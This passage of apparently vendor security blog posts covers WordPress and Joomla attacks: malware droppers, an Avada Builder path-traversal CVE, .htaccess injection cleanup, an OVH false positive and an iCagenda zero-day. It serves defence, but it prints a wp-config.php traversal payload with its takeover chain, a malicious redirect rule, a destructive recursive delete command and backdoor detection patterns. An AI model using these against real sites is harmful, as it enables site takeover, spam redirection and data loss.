The same redundancy shows up in the shell files themselves. On this site the attacker dropped the identical payload into /images/media five times over, changing only the case of the extension: sauk872_1781619699.php, .pHp and .pHP, alongside loqnip.php and pnszqf.php, all planted in the same visit two weeks ago. The casing trick is deliberate. A hand-written cleanup that searches for *.php in lowercase, or a server rule that blocks one casing, leaves the .pHp and .pHP copies live and executable. A hash-based audit does not care about the extension at all, so it flagged every copy as a confirmed hacked file.

The second wave on the page: injected JavaScript, redirects and spam

Once the dropper has done its work, the second-wave payload is built for money. The dominant forms are malicious JavaScript and conditional redirects. Injected JavaScript in a template or theme file runs in every visitor's browser. A conditional redirect bounces traffic from Google to spam or phishing while leaving the site looking normal when you visit it directly. Sucuri's 2024 scan data found malware and malicious redirects on 74.7% of infected sites and SEO spam on 38.4%, alongside crypto drainers and credit-card skimmers for direct financial theft.

The mass .htaccess injection we built a one-click cleaner for is this exact mechanism at scale. On a hacked Joomla or WordPress site we have seen close to 9,000 malicious .htaccess files, one in nearly every folder, each carrying a redirect or PHP-injection rule. They are spread that wide for coverage and persistence: a hidden backdoor rewrites them within minutes of deletion, so cleaning the root file alone achieves nothing. That is the second wave in physical form, thousands of files planted to survive your cleanup, with a dropper standing by to replace any you remove.

The newer trend is worse for anyone relying on file scans alone. Campaigns like Sign1 increasingly store their payload in the database (in WordPress options rows) rather than in files, which is precisely why a once-and-done file scan misses them and continuous, multi-layer monitoring does not. The Hacked by AntonKill defacement wave hitting unpatched Helix3 Joomla sites en masse since 5 July does the same thing: the defacement lives in the template settings in the database, so every clean file scan comes back green while the skull is still on the homepage.

Why monitoring beats a one-time scan

Every reinfection report lands on the same point. Cleanup is necessary but it is not enough, because the attacker planned for your cleanup. What actually protects a site is continuous visibility: knowing what changed, and when, so a dropper that wakes up three weeks after the breach is caught the moment it touches a file.

Sucuri's own recommendation for self-reinstalling malware is "a file integrity monitoring service that resides mostly outside of the environment itself," comparing file hashes against known-good copies so you can see tampering even when the malware is built to hide. That is the principle mySites.guru runs on across every site you manage: an audit that diffs files between scans, an uploader hunter for the dropper class specifically, core-file hash verification, renamed-file detection for the .bak and .old stash trick, and a near-real-time File Watch List for the files you most want to guard. The hash list behind it carries more than 14,000 confirmed known-bad files and over 2,000 hand-written content patterns, updated daily, and a hack found on one connected site is checked for on every other site's next audit.

When we find an actively exploited Joomla zero-day, we do not just forward a CVE. With the iCagenda flaw we reproduced it ourselves, confirmed it was being exploited in the wild before any patch existed, filed responsible disclosure with the vendor, alerted every affected account, then code-reviewed JoomliC's 4.0.8 fix the same day it shipped and told users it was safe to reinstate. That is the level of attention the second wave demands, and it is why monitoring is not a slogan here, it is how the tooling is built.

If you suspect a site is compromised, start with whether your site is hacked and the full hacked-site cleanup process, then use the hack and backdoor detection to find what the first wave left behind. Start a free audit and see what is already sitting on your server, waiting.

Avada Builder 3.15.4 Patches an Unauthenticated File Deletion Flaw (CVE-2026-8713)

phil@mysites.guru (Phil Taylor) — Mon, 22 Jun 2026 00:00:00 GMT

Avada Builder, the plugin bundled with the Avada theme by ThemeFusion, runs on around 1 million WordPress sites. On 19 June 2026 a new CVE landed against it: CVE-2026-8713, an unauthenticated arbitrary file deletion flaw rated CVSS 9.1 Critical. The fix shipped quietly weeks earlier in version 3.15.4, released on 2 June 2026.

This is a more dangerous bug than the file read and SQL injection pair we covered in 3.15.3. Those leaked data. This one deletes it. An unauthenticated attacker can submit a crafted payload through a public Avada form and delete any file on the server, and deleting the right file turns into a full site takeover. Update to 3.15.4 now.

If you manage WordPress sites for clients, the advisory is the easy bit. The work is figuring out which of your sites are still on 3.15.3 or earlier, then pushing the update to every one of them. Across the mySites.guru network we track Avada Builder on nearly 1,000 sites belonging to hundreds of agencies, and when we checked our own connected sites against this CVE, every single Avada Builder install we monitor was on a version below the 3.15.4 fix. Nobody had updated yet. That gap is the whole point of this post.

Finding Every Avada Builder Site in Your Portfolio

Up to about ten sites, you can log in to each one and check the Plugins screen. Past that, you need a single view. The Plugins screen approach is slow, error-prone, and only tells you what was on disk the last time someone looked.

mySites.guru's WordPress Extensions inventory tracks every installed plugin across every connected site, refreshed on each snapshot. Search for "Avada Builder" (or the slug fusion-builder) and you get every version across your portfolio, grouped by version number, with a "Which sites?" button that lists exactly where each version is running.

mySites.guru subscribers: find every Avada Builder install across your sites

Open Avada Builder Extension Search

Lists every version of Avada Builder across your connected sites. Anything on 3.15.3 or earlier needs the 3.15.4 patch. Not a subscriber? Sign up free and connect your sites.

The same inventory feeds the vulnerability scanner. mySites.guru cross-references every installed plugin against the Wordfence Vulnerability API twice a day, so when a CVE like CVE-2026-8713 drops, sites running affected versions get flagged with a red warning banner. No security feeds to watch.

Bulk Updating Avada Builder Across Hundreds of Sites

Once you know which sites need updating, the mass updater handles the rollout. Tick the sites that need 3.15.4, push the update across all of them from one screen. The same workflow covers any plugin, theme, or core update, so the routine you wire up once works for every future CVE. Pair it with the Akeeba Backup or All-In-One Migration integration to back up each selected site first.

With a file deletion flaw the backup-first habit earns its keep twice over. If a site was hit before you patched, the missing file is the damage, and a recent backup is your fastest route to a working site.

For agencies managing 50+ WordPress sites

Avada Builder ships with the Avada theme, so most clients running Avada have this plugin whether they know it or not. The patch is the easy bit; the inventory is the work. See how bulk updates work in mySites.guru.

If the patch needs more than a quick test on a particular site, deactivating Avada Builder takes the vulnerable form handler out of play while you schedule a maintenance window. Alternatively, removing or unpublishing any public Avada form that stores entries to the database closes the precondition the attack needs.

CVE-2026-8713: Unauthenticated Arbitrary File Deletion

Detail	Value
CVE	CVE-2026-8713
CVSS	9.1 Critical (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H`)
Type	Unauthenticated Arbitrary File Deletion (Path Traversal, CWE-22)
Affected versions	All versions up to and including 3.15.3
Patched version	3.15.4 (Avada 7.15.4, 2 June 2026)
Auth required	No
Precondition	A public Avada form that stores entries in the database
Bounty	$3,600.00
Researcher	daroo (via Wordfence Bug Bounty)

The flaw lives in maybe_delete_files() in the Fusion_Form_DB_Entries class. When Avada cleans up old form entries, it works out which uploaded files belong to an entry and deletes them. It builds those file paths by string-replacing the uploads URL, with no realpath() resolution and no check that the final path stays inside the uploads directory.

That means ../ traversal sequences in submitted form data survive into the deletion path. The handler is registered as a nopriv AJAX action, so it answers anonymous requests, and an attacker can drive the privacy-cleanup mechanism by controlling the expiration fields on the form submission. Put those together and an unauthenticated visitor can submit something like:

wp-content/uploads/fusion-forms/../../../wp-config.php

and have the cleanup routine delete wp-config.php for them.

Why deleting a file is as bad as uploading one

A deletion primitive sounds less alarming than file upload or code execution. It is not, because of one specific target.

wp-config.php holds the database credentials WordPress needs to boot. Delete it and WordPress can no longer connect to its database, so on the next request it assumes this is a fresh install and serves the setup wizard. An attacker who triggered the deletion can now walk through that wizard, point the install at a database they control, and end up with an administrator account on your domain. From an admin account, dropping a malicious plugin and running arbitrary PHP is routine.

So the chain runs from an unauthenticated request to a deleted config file, to a forced reinstall the attacker drives, to an administrator account and arbitrary code. The first step needs no login and no user interaction, which is why the score is 9.1 and not something lower.

This is the same lesson as the AJAX endpoints blind spot we have written about before: a nopriv handler is open to the entire internet, so every input it touches has to be treated as hostile. A single path-containment check in maybe_delete_files() would have stopped this.

Is it being exploited yet?

As of 22 June 2026, no security vendor has published evidence of in-the-wild exploitation, indicators of compromise, or attack telemetry for CVE-2026-8713. The Wordfence advisory describes the mechanism and the impact, not an active campaign.

That is good news with a short shelf life. The flaw is unauthenticated and the payload path is no secret now the CVE is public, and a critical, public CVE against a million-install plugin is exactly what the mass scanners go looking for. Patching ahead of that is cheap right now. It usually does not stay cheap for long.

How do I watch for exploitation after patching?

Patching closes the door. Monitoring tells you whether anyone walked through it first. With a file deletion flaw the tell is on the filesystem.

mySites.guru's real-time alerting covers the signals that matter after a destructive CVE:

Missing or changed core, theme, and plugin files. If wp-config.php was deleted and recreated, or new PHP files appeared in wp-content/, the file-change alert fires before the next snapshot.
New administrator accounts. Anything created at admin level fires an alert, whether it came in through the setup wizard, the REST API, or directly through the database.
wp-admin login activity, with IP, user agent, and timestamp. An unfamiliar admin login on a site that should have no new admins is the cheapest tell that the takeover chain ran.

If any of those fire, the malware scanner and the WordPress hacked recovery workflow handle the remediation.

How to verify your sites are patched

Three checks, in order of speed:

mySites.guru: open the Avada Builder extension search and confirm every install is on 3.15.4 or later. Anything on 3.15.3 or earlier still needs updating.
WP-CLI on a single site: wp plugin get fusion-builder --field=version
wp-admin: Plugins page, find Avada Builder in the list, check the version.

If WordPress reports no update available, check that the Avada theme is registered with a current ThemeFusion licence. Avada Builder updates come through ThemeFusion's update channel, not the WordPress.org directory, so a lapsed licence leaves the plugin pinned to an old version.

What to do if you suspect a site was hit

Because the damage is a deleted file, the symptoms are loud: a site that suddenly shows the WordPress setup screen, a fatal "error establishing a database connection", or missing media and uploads. If you see those on an Avada site that was on 3.15.3 or earlier, treat it as a possible exploitation, not a random outage.

1. Restore from a known-good backup

If wp-config.php or other files were deleted, the fastest clean recovery is a restore from before the deletion. This is where the one-click backup of files and database pays off. A mySites.guru snapshot records config and version state, but it is not a restorable backup, so for a rollback you want the full backup.

Restore, then immediately update to 3.15.4 so the same payload cannot delete the file again.

2. Hunt for rogue admin accounts

If the deletion forced a reinstall and an attacker walked through the setup wizard, they could now hold an administrator account. Check the user table:

SELECT ID, user_login, user_registered, user_email
FROM wp_users
ORDER BY user_registered DESC
LIMIT 20;

Anything created since 2 June 2026 that you do not recognise is suspect.

How mySites.guru helps: universal user management sorts every account across every connected site by registration date, so you can scan hundreds of sites for new admins in one screen rather than logging into each wp-admin.

3. Look for backdoors and modified files

A reinstall under attacker control is a perfect moment to plant persistence. Look for unexpected PHP files in wp-content/uploads/, wp-content/mu-plugins/, and anywhere else uploads should not contain executable code.

find wp-content/uploads -name '*.php' -type f
find wp-content/mu-plugins -name '*.php' -mtime -30

How mySites.guru helps: the suspect content scanner runs the same pattern matching across every connected site. Anything it flags gets a one-click AI-powered malware analysis that explains what the code does in plain English, and the hidden files report flags orphan PHP files outside the normal core, theme, and plugin paths.

A note on 3.15.5

Avada shipped another security release, 3.15.5 (Avada 7.15.5), on 15 June 2026. It fixes a separate arbitrary file deletion bug that occurs when deleting custom icon sets, plus a couple of other issues. That is not the same flaw as CVE-2026-8713, which is fixed in 3.15.4 and lives in the form handler.

The practical takeaway is simple: do not stop at 3.15.4. Update to the latest Avada release available to you so you pick up both file deletion fixes at once. If your extension inventory shows sites on 3.15.4, they have the CVE-2026-8713 fix but not the icon-set fix, so push them on to the current version.

Delete 9,000 Hacker .htaccess Files in One Click

phil@mysites.guru (Phil Taylor) — Mon, 22 Jun 2026 00:00:00 GMT

A redirect hack rarely leaves one malicious file behind. It leaves hundreds, sometimes thousands. When a site gets hit with an .htaccess injection attack, the hacker writes a malicious .htaccess file into nearly every folder on the server: every plugin directory, every module, every component, every level of the tree. We have seen affected sites carrying close to 9,000 of them. Cleaning that up by hand, without deleting the handful of legitimate .htaccess files that keep your site working, is one of the most tedious jobs in incident response.

The "Multiple .htaccess Files Located In Webspace" check in your mySites.guru audit now has a one-click answer to it: a single button that deletes every stray .htaccess file across your whole site and leaves the legitimate ones exactly where they are.

How mySites.guru deletes stray .htaccess files in one click

mySites.guru lists every .htaccess file it found during your last site audit under the Files Information section of your results, in a check called "Multiple .htaccess Files Located In Webspace".

Click Investigate on that row and you get the full list of files, with a red button at the top: Delete all .htaccess files (exc. sensible ones).

Click it, confirm, and the work happens server-side in a single pass. There is no file-by-file looping in your browser and no half-finished state if your connection drops. When it finishes you get a count of what was removed.

The reason this is safe is the part that takes the longest to get right by hand: the allow-list. mySites.guru never decides what to delete by reading file content or guessing. It keeps a server-side list of the exact places legitimate .htaccess files live, and removes everything else that ends in /.htaccess.

On a Joomla site it preserves the root /.htaccess, /administrator/.htaccess, the /plugins and /libraries hardening files, and the entire Akeeba Backup family, including the guard Akeeba writes into its backup output directory. On a WordPress site it preserves the root /.htaccess, /wp-admin, /wp-content, /wp-content/uploads, the plugins folder and the Akismet guard. Everything else goes.

One deliberate exception: the /tmp folder is not on the allow-list. It is a favourite hiding spot for injected files, so a .htaccess sitting in /tmp/includes gets removed like any other stray file rather than spared.

Note

The bulk delete removes the malicious .htaccess files and the redirect rules they carry. It does not remove a separate PHP backdoor that may be re-creating them. Run a full audit afterwards and check the suspect-content and core-file results so the files do not simply reappear.

What does a malicious .htaccess file actually do?

A malicious .htaccess file abuses Apache's per-directory configuration to redirect visitors, hide a backdoor or inject PHP, all without touching a single one of your site's actual scripts. Because Apache reads .htaccess before any of your code runs, the attacker controls the request before WordPress or Joomla even loads.

The most common version is a conditional redirect. The rule only fires for visitors arriving from a search engine or on a mobile device, so when you visit your own site directly it looks perfectly normal, while Google's traffic gets bounced to spam or a phishing page:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.*
RewriteRule .* https://spam-site.example [R,L]

Other variants are nastier. A php_value auto_prepend_file directive injects a backdoor into every PHP request in that folder without editing any of your files. A <FilesMatch> deny-then-allow block locks down every PHP script in a directory except the attacker's own shell. An ErrorDocument 404 line serves the payload to any request for a missing path. None of these show up if you only look at your theme or your plugins, because the malice lives in a config file most owners never open.

Why do hackers put .htaccess files in every folder?

Hackers spread .htaccess files through every directory for two reasons: coverage and persistence. A per-directory .htaccess applies its rules to that folder and everything beneath it, so a copy in every directory guarantees the redirect fires no matter which URL a visitor lands on. Cleaning the root file alone leaves every sub-folder still redirecting.

The second reason is what makes these infections so frustrating to remove. The attacker also leaves a hidden PHP backdoor, and that backdoor re-creates the malicious .htaccess files whenever they go missing, often within minutes. Security teams describe sites where the file gets rewritten as fast as you can delete it. It is the same pattern behind why a cleaned site gets hacked again days later: the first wave seeds a dormant backdoor whose only job is to rebuild the payload once you walk away. That is why a successful clean-up is always two jobs: remove the malicious .htaccess files, and find the backdoor that keeps writing them. mySites.guru handles the first job in one click and points you at the second through its hack and backdoor detection.

How do you find and delete these files manually?

The manual route is a recursive find over SSH, and it works, but only if you have shell access and a steady hand. On most shared hosting you do not get SSH at all, which leaves you hunting folder by folder over FTP. Here are the commands a sysadmin would actually run:

# Count every .htaccess file (1-3 on a clean site, hundreds or thousands when infected)
find . -name .htaccess | wc -l

# Triage by recent modification time, the best single filter
find . -name ".htaccess" -mtime -7

# Look for the malicious tells (RewriteRule alone is noisy, WordPress uses it too)
find . -name .htaccess -exec grep -lE "auto_prepend_file|base64_decode|RewriteRule .*http" {} \;

The blanket delete exists, and it is exactly the command you should never run on its own:

# DANGEROUS: this deletes the legitimate files too
find . -name .htaccess -delete

That one line turns a redirect infection into an outage. It removes the root .htaccess (so every internal URL 404s), the Akeeba Backup guard (so your backup archives become publicly downloadable), and the uploads guard (so PHP can execute in your uploads folder again). The whole difficulty of doing this by hand is separating the thousands of malicious files from the small handful of legitimate ones, and a recursive rm cannot tell the difference. Over FTP it is worse: dotfiles are hidden by default, there is no recursive search and no way to filter by date, so you open every directory by hand. Across thousands of folders, nobody finishes.

Warning

Never run a recursive .htaccess delete without an allow-list. Removing the root file breaks every permalink and SEF URL, and removing a backup-tool guard can expose a full database dump, with password hashes, to anyone who knows the URL.

Which .htaccess files are legitimate on a Joomla site?

On a Joomla site, the .htaccess files that belong there are the root file and the hardening files written by Joomla and Akeeba's tools. The root /.htaccess, renamed from Joomla's shipped htaccess.txt, drives SEF URLs and carries a set of rules to block common exploits. Delete it and your search-engine-friendly URLs stop resolving.

Akeeba Backup writes a protective .htaccess into its backup output directory, administrator/components/com_akeebabackup/backups, specifically to stop anyone downloading your backup archives over the web. Those archives contain a full database dump and your configuration secrets, so that one file matters a great deal. mySites.guru preserves the whole Akeeba component and plugin family, plus /administrator/.htaccess and the /plugins and /libraries guards, and deletes the rest.

Which .htaccess files are legitimate on a WordPress site?

On a WordPress site, the legitimate .htaccess files are the root permalink file and a few security guards. The root /.htaccess contains the # BEGIN WordPress block that routes every pretty permalink through index.php. Remove it and only your homepage resolves, while every post and page returns a 404.

The other files worth keeping are written by security plugins and core. /wp-content/uploads/.htaccess is the deny-PHP guard that Wordfence and similar tools install to stop an uploaded .php file from executing, which is one of the most important hardening files on the whole site. Akismet ships its own .htaccess in /wp-content/plugins/akismet. mySites.guru keeps the root file, /wp-admin, /wp-content, the uploads guard, the plugins folder and the Akismet file, and clears away everything else.

Run a full audit after the cleanup

Deleting the malicious .htaccess files cleans up the symptom, not the cause. If a backdoor planted them, it can plant them again, so the bulk delete is one step in a wider clean-up rather than the end of it. After you have removed the stray files, run a fresh audit and work through the rest of the results.

The suspect content check flags PHP files containing the obfuscation and injection patterns a backdoor uses. The core-file check tells you which of your WordPress or Joomla files differ from the official release, which is how you spot a modified index.php or a planted shell. Together they help you find the thing that wrote 9,000 .htaccess files in the first place. If you are not certain whether your site is compromised at all, start with our guide on whether your site is hacked and the full hacked-site cleanup process.

mySites.guru manages this across every site you own from one dashboard. You can run the audit, see the .htaccess count, clear the stray files and check for the backdoor without logging into a single site individually. Start a free audit and see what is hiding in your webspace.

OVH Flagged Our Plugin as Malware. It Is Not, and Here Is the Proof.

phil@mysites.guru (Phil Taylor) — Mon, 22 Jun 2026 00:00:00 GMT

If you have had an email from OVH this week telling you there is malware on your hosting, and the file it named ends in bfnetwork/bfRestore.php, take a breath. That file is ours, it is legitimate, and your site has not been hacked. OVH's scanner made a mistake, and then made a far bigger one in how it reacted to that mistake.

The email looks alarming on purpose. It says malware was detected, that outgoing requests and PHP email have been blocked "as a protection measure," and it lists a single file:

/homez.xxx/yourname/www/plugins/system/bfnetwork/bfnetwork/bfRestore.php

That file is part of the connector plugin that mySites.guru installs to manage your Joomla site. It is not malware. Below is exactly what it does, why an automated scanner trips on it, and how to get your sites working again.

What bfRestore.php actually is

The bfnetwork plugin is how mySites.guru talks to your Joomla site to run audits, take backups, apply updates, and restore from a backup when something goes wrong. It has been published openly under the GPL, the same licence as Joomla itself, for well over a decade. You can read every line of it.

bfRestore.php is one of the smallest files in that plugin. Its entire job is to act as a bridge. When you ask mySites.guru to restore a site, this file receives a password-protected request and then hands the work over to Joomla's own restore code. Here is the part that matters, lifted straight from the file:

if ($_REQUEST['password'] !== null && $_REQUEST['task'] !== null) {
    echo '###';
    if (file_exists(dirname(__FILE__, 5) . '/administrator/components/com_joomlaupdate/extract.php')) {
        require dirname(__FILE__, 5) . '/administrator/components/com_joomlaupdate/extract.php';
        die;
    }
}

Read what that does. It checks for a password. If the password is missing, the file does nothing and returns a 404. If the password is present, it loads com_joomlaupdate/extract.php and lets that do the actual extraction.

com_joomlaupdate/extract.php is not ours. It is Joomla's. It is the official extraction engine that ships inside every copy of Joomla, in the core Joomla Update component, copyright Open Source Matters. It is the exact code Joomla runs when you click "Update" in the administrator. So the file OVH calls malware is a password-gated doorway to Joomla's own updater.

The short version: if bfRestore.php is malware, then so is the update button in every Joomla site on the planet, because they run the same extraction code. OVH's own customers running stock Joomla are using that engine every time they update.

Why an automated scanner gets this wrong

Signature and heuristic scanners do not understand code. They pattern-match. They look for words and shapes that appear in known-bad files: references to extracting archives, writing files, changing permissions, decoding data, calling out to the network. The problem is that legitimate backup and restore tools do exactly those things, because that is literally what a backup tool is for.

This is not a controversial point. Akeeba, who build the most widely used backup tool in the Joomla world, document the same problem on their own site. Their restore code uses standard PHP functions like base64_decode and unpack to handle binary backup data, and scanners flag it, because malware authors use the same functions. The only way to scan source code for malice without false positives is to have an experienced human read every line, and no automated host scanner does that.

So when OVH's scanner saw a file that takes a request, checks a password, and then runs an extraction engine, it pattern-matched on "extraction" and decided it had found something dangerous. It had not. It found a backup tool doing what backup tools do.

We see the other side of this every day. Our suspect content scanner flags files too, deliberately, using over 2,000 hand-written patterns, because casting a wide net is how you avoid missing the one file that matters. The difference is what happens next. A flag in mySites.guru is an invitation to look closer, not a verdict. We tell you which lines matched, let you send the file to AI malware analysis for a second opinion, and let you compare it against the original. A flag is the start of an investigation. For OVH, the flag was the end of one.

The real problem is what OVH did next

Finding a false positive is forgivable. Every scanner produces them. What is not forgivable is the response.

OVH did not quarantine the single file it objected to. It did not move bfRestore.php aside and leave everything else running. Instead, according to OVH's own documentation, when its scanner flags a file as malware it can disable three things across the whole hosting plan at once:

Website access
Email sending via PHP
Outgoing requests (what OVH calls TCP OUT)

So one wrong guess about one file took out outgoing connections and PHP email for every website on that plan. Not the file. Not the site the file was on. Everything.

If you run more than one site on an OVH hosting plan, picture what that means. A scanner misreads a backup helper on one site, and suddenly none of your sites can send an email or reach the internet. The customer did nothing wrong. The file did nothing wrong. The blast radius is the entire plan.

This is not security, it is collateral damage. A competent host quarantines the specific file it objects to and tells you exactly which one, so you can review it and restore it if it is a false positive. Cutting all outbound traffic and email for every site on the plan, over one heuristic guess, is a blunt instrument that does more harm than the imaginary threat it is responding to.

We tried to fix this at source, and OVH would not engage

The obvious thing to do, once we knew OVH's scanner was misreading our file, was to talk to OVH directly. We are the software provider. We can show them the source, explain what the file does, and ask them to stop flagging it for every customer at once. That is how you fix a false positive properly: at the source, so nobody else gets hit.

We tried. OVH would not discuss it with us, because we are not an OVH customer. From their side, a vendor whose legitimate file their scanner is breaking has no standing to raise it. There is no channel for "your detection is wrong, here is the proof, please correct it." You have to be the bill-payer on the affected plan to get anyone to listen, and even then, see below.

So the affected customers tried, publicly, on X. The replies were the same first-line script every time: sorry for the difficulty, please send your customer ID and account details by private message, please open a support ticket so a technician can look. Polite, scripted, and going nowhere. Nobody at OVH would look at the file itself, acknowledge that the detection was wrong, or take ownership of correcting it centrally. Each customer was funnelled back into the same self-certify loop, told in effect to prove their own innocence one account at a time.

That is the part that turns a forgivable false positive into a genuine failure. A scanner getting something wrong is a bug. Having no way for the wronged party to report it, no human willing to take ownership, and a support process that resets to line one no matter how many people raise the same issue, is a choice. The result is that every affected customer has to take manual action on their own plan, repeatedly, while the underlying detection stays broken and waits to fire again.

What breaks when outgoing connections and PHP mail are blocked

The OVH email frames the block as protection. In practice it breaks the things your sites rely on every day. With outgoing requests and PHP email disabled, here is what stops working:

Contact and enquiry forms. They submit, the visitor sees a thank-you, and the email never arrives. You lose leads and never know it.
Password reset emails. Users get locked out of their own accounts because the reset email cannot be sent.
Order and e-commerce emails. Order confirmations, invoices, and shipping notices vanish. Customers think you have taken their money and disappeared.
Update checks. Joomla's "Check for Updates" and WordPress's update API both need outbound HTTPS. Block that, and your sites stop seeing security patches. The irony of a "security measure" that stops you receiving security updates writes itself. If your Joomla updates start failing too, our guide on the "offered update has expired" error helps you tell a network block apart from a genuine TUF problem.
Payment gateway callbacks. Stripe webhooks, PayPal IPNs, and similar server-to-server messages cannot get through, so payments and subscriptions silently break.
Everything that calls an API. reCAPTCHA verification, maps, CRM and newsletter sync, and remote management tools like ours all need to reach the outside world.

Many sites send their mail through PHP, which is exactly the path OVH blocks. If your forms or password resets have gone quiet, our guide on verifying your Joomla email configuration walks you through confirming whether mail is the problem.

We are not the only ones, and that is the point

If this were a one-off misfire on a single obscure file, you could shrug it off. It is not.

In the same week, on the same OVH hosting clusters, the same scanner flagged a completely different legitimate file: Akeeba Backup's kickstart.txt. The pattern was identical. OVH detected the file, decided it was malware, and blocked outgoing connections and PHP email across the affected Joomla sites. Joomla developers reported it on the Joomla.fr forum on the 17th and 18th of June 2026, days before our customers were hit.

Two of the most widely used, openly published, GPL-licensed tools in the Joomla ecosystem, both flagged as malware by the same host's scanner, within days of each other. That is not a coincidence and it is not a problem with the tools. It is a scanner that cannot tell legitimate backup code from a threat, attached to an automatic response that breaks customer sites first and asks questions never.

It is not only OVH, either. SiteGround's Anti-Bot AI does its own version of this, serving our monitoring worker a captcha challenge instead of your site. Different host, different mechanism, same outcome: a legitimate, published, fixed IP treated as a threat, with the job of fixing it handed to you.

What to do if OVH has blocked your plan

You do not need to delete anything. Deleting bfRestore.php only stops mySites.guru from managing, backing up, and restoring that site. The file is safe. Here is the fix:

Read the file path in OVH's email. If it ends in bfnetwork/bfRestore.php, it is the legitimate connector. Leave it where it is.
Log in to your OVH control panel and open the affected Web Hosting plan. You will see an alert headed "Abnormal Activity on Your Hosting" with a button to lift the security measures.
Tick the confirmation box and lift the security measures. OVH re-scans, and your outgoing connections and PHP email come back.
Verify it worked. Send a test through a contact form, run Joomla's "Check for Updates," and confirm a password reset email arrives.

If OVH re-blocks the plan, open a ticket and ask them to whitelist the specific file rather than block the whole plan. You are not asking for a favour. You are asking them to fix a false positive in their scanner instead of breaking your sites over it.

How we help you tell a false positive from a real hack

The hardest part of a moment like this is the doubt. When a host emails you the word "malware," you want to be certain before you trust a file. That is exactly the certainty mySites.guru is built to give you.

When our audit flags a file, we do not leave you guessing. We show you the lines that matched, so you can read them yourself. We let you send the file to AI analysis for a safe, suspicious, or malicious verdict with the problem lines pointed out. And for files like core Joomla code, we can compare what is on your server against the known-good original, byte for byte, so you can see for certain whether anything has actually changed. If you ever do find a genuine compromise, our WordPress hacked guide and Joomla hacked guide walk you through the cleanup, and our malware scanner checks every file in your webspace rather than just the ones a signature database knows about.

That is the difference between a flag and a verdict. A scanner that pattern-matches and then cuts off your whole hosting plan has given you a verdict it has no business issuing. A tool that flags, explains, and lets you confirm has given you a flag you can actually act on.

Your bfRestore.php is fine. OVH's reaction to it was not.

Zero Day Vulnerability Found in iCagenda Joomla Extension

phil@mysites.guru (Phil Taylor) — Mon, 15 Jun 2026 00:00:00 GMT

A client forwarded us an access log on a Sunday morning with one line that mattered. A bot, calling itself icagenda-batch/1.0, had posted something to their Joomla site and then immediately gone looking for a .php file in the events component's upload folder. That is the shape of an attack that already knows it has won. By the end of the day we had confirmed a critical zero day in iCagenda, reproduced it from start to finish, reported it to the developer, and the developer had shipped a fix.

iCagenda is a popular events and calendar component for Joomla, by JoomliC. The flaw let anyone, with no login at all, reach the code behind the public event submission form. On Joomla 6 that meant uploading a PHP web shell and running it, which is remote code execution: full control to steal data, deface pages, plant backdoors, or use the server to attack other people. The component versions affected were every release up to and including 4.0.7, which was the latest that morning. The developer's own advisory later scoped the upload-to-shell to Joomla 6 specifically, because earlier Joomla versions block unsafe file uploads in core by default. It was already being exploited in the wild, which is what makes it a zero day rather than a quiet finding.

The patch is iCagenda 4.0.8, released on 15 June 2026, with 3.9.15 following the next day for the legacy branch. If you run any Joomla site with iCagenda installed, update it now, then read on for what the bug actually did and how to check whether you were already hit.

TL;DR

CVE-2026-48939 - CVSS 4.0 score: 10.0 Critical (CWE-284: Improper Access Control)
Unauthenticated file upload to remote code execution in iCagenda's frontend event submission form, no login required. Per JoomliC, the upload-to-shell triggers on Joomla 6 only, because earlier Joomla versions block unsafe uploads in core by default
A second, lower-severity issue in the same submit flow let guests create unapproved events with no login on every Joomla version
Affects iCagenda 3.2.1 up to and including 3.9.14 (3.x line) and every 4.x release up to and including 4.0.7. Fixed in 4.0.8 (released 15 June 2026) and 3.9.15 (released 16 June 2026)
Already exploited in the wild when we found it, by an automated scanner identifying as icagenda-batch/1.0. JoomliC reports automated attacks running since 15 June 2026, 8am UTC
We confirmed it by code review, reproduced the upload-to-shell end to end on Joomla 6, and sent the developer a safe proof of concept. JoomliC shipped the fix the same day, and we reviewed the new code to confirm it is real
Update to 4.0.8 (or 3.9.15 if on the legacy branch) on every affected site, then check for compromise. Unpublishing the component does not protect you

This is a fast-moving disclosure. The fix exists, but the full technical detail is going public now, which means opportunistic scanners will know exactly what to look for. The sites that get caught are the ones still on an old version when that happens. Update to 4.0.8 before you do anything else.

How to Check Your Joomla Sites for iCagenda with mySites.guru

When a zero day drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites are running it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the iCagenda version is not realistic. The bots do not wait for you to finish the list.

mySites.guru records the exact version of every installed extension across every connected Joomla site on a twice-daily snapshot. The extension search shows you every site running iCagenda, grouped by version, in seconds. Filter for anything below 4.0.8 and you have your work list.

Combined with the mass extension updater, you can push 4.0.8 across every affected site in one batch instead of a day of logging into admin panels one at a time. A zero day becomes a triage you finish over a coffee.

If you do not have a mySites.guru account yet, start a free trial and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.

What the Bug Actually Did

The vulnerability lived in iCagenda's frontend "Submit an Event" form, the feature that lets visitors propose events for the calendar. The form has a file attachment field. The processing code took the uploaded file, kept the file extension the visitor supplied, and wrote it straight to a folder under the web root:

images/icagenda/frontend/attachments/your-file.php

iCagenda did not maintain its own allow-list of permitted extensions on this path, did not block .php, and did not check that the file was actually the image type it claimed to be. So the dangerous file reached the disk. Whether the server would then run it depended on Joomla's own upload filtering. JoomliC's advisory is clear that the upload-to-shell only triggers on Joomla 6, because every Joomla version before 6 blocks unsafe file uploads in core by default. On Joomla 6 that core safety net was not in play on this path, so you could upload shell.php, browse to it, and the server would run it. That is the whole chain, and it is as bad as web vulnerabilities get.

There was a second half to the bug, and this one reached further. iCagenda has a setting that controls who is allowed to submit an event, and by default it is set to "Registered", meaning logged-in users only. You would reasonably assume that setting protected the submission. It did not. The access check was applied only in the view that decides whether to draw the form on screen. The controller that actually processed the submission never checked it at all.

That means an attacker did not need an account, and did not even need the submit form to be publicly linked anywhere. They harvested a form token from any public iCagenda page, such as the events list, and posted straight to the processing endpoint. The "Registered only" setting was bypassed completely, on every Joomla version, not just Joomla 6. On Joomla 6 that bypass led to the file upload and a shell. On Joomla 2.5, 3, 4 and 5, where core blocked the malicious upload, it still let an anonymous visitor create events that were saved but not approved, sitting in the queue with no login required. Lower stakes, same root cause: an authorization check in the wrong place. A site with no public submit menu at all was still reachable.

We are deliberately not publishing a copy-and-paste exploit. The mechanism above is enough to understand the risk and confirm your sites are patched. It is not a recipe. The fix is out, so the right response to this post is to update, not to test it on someone else's site.

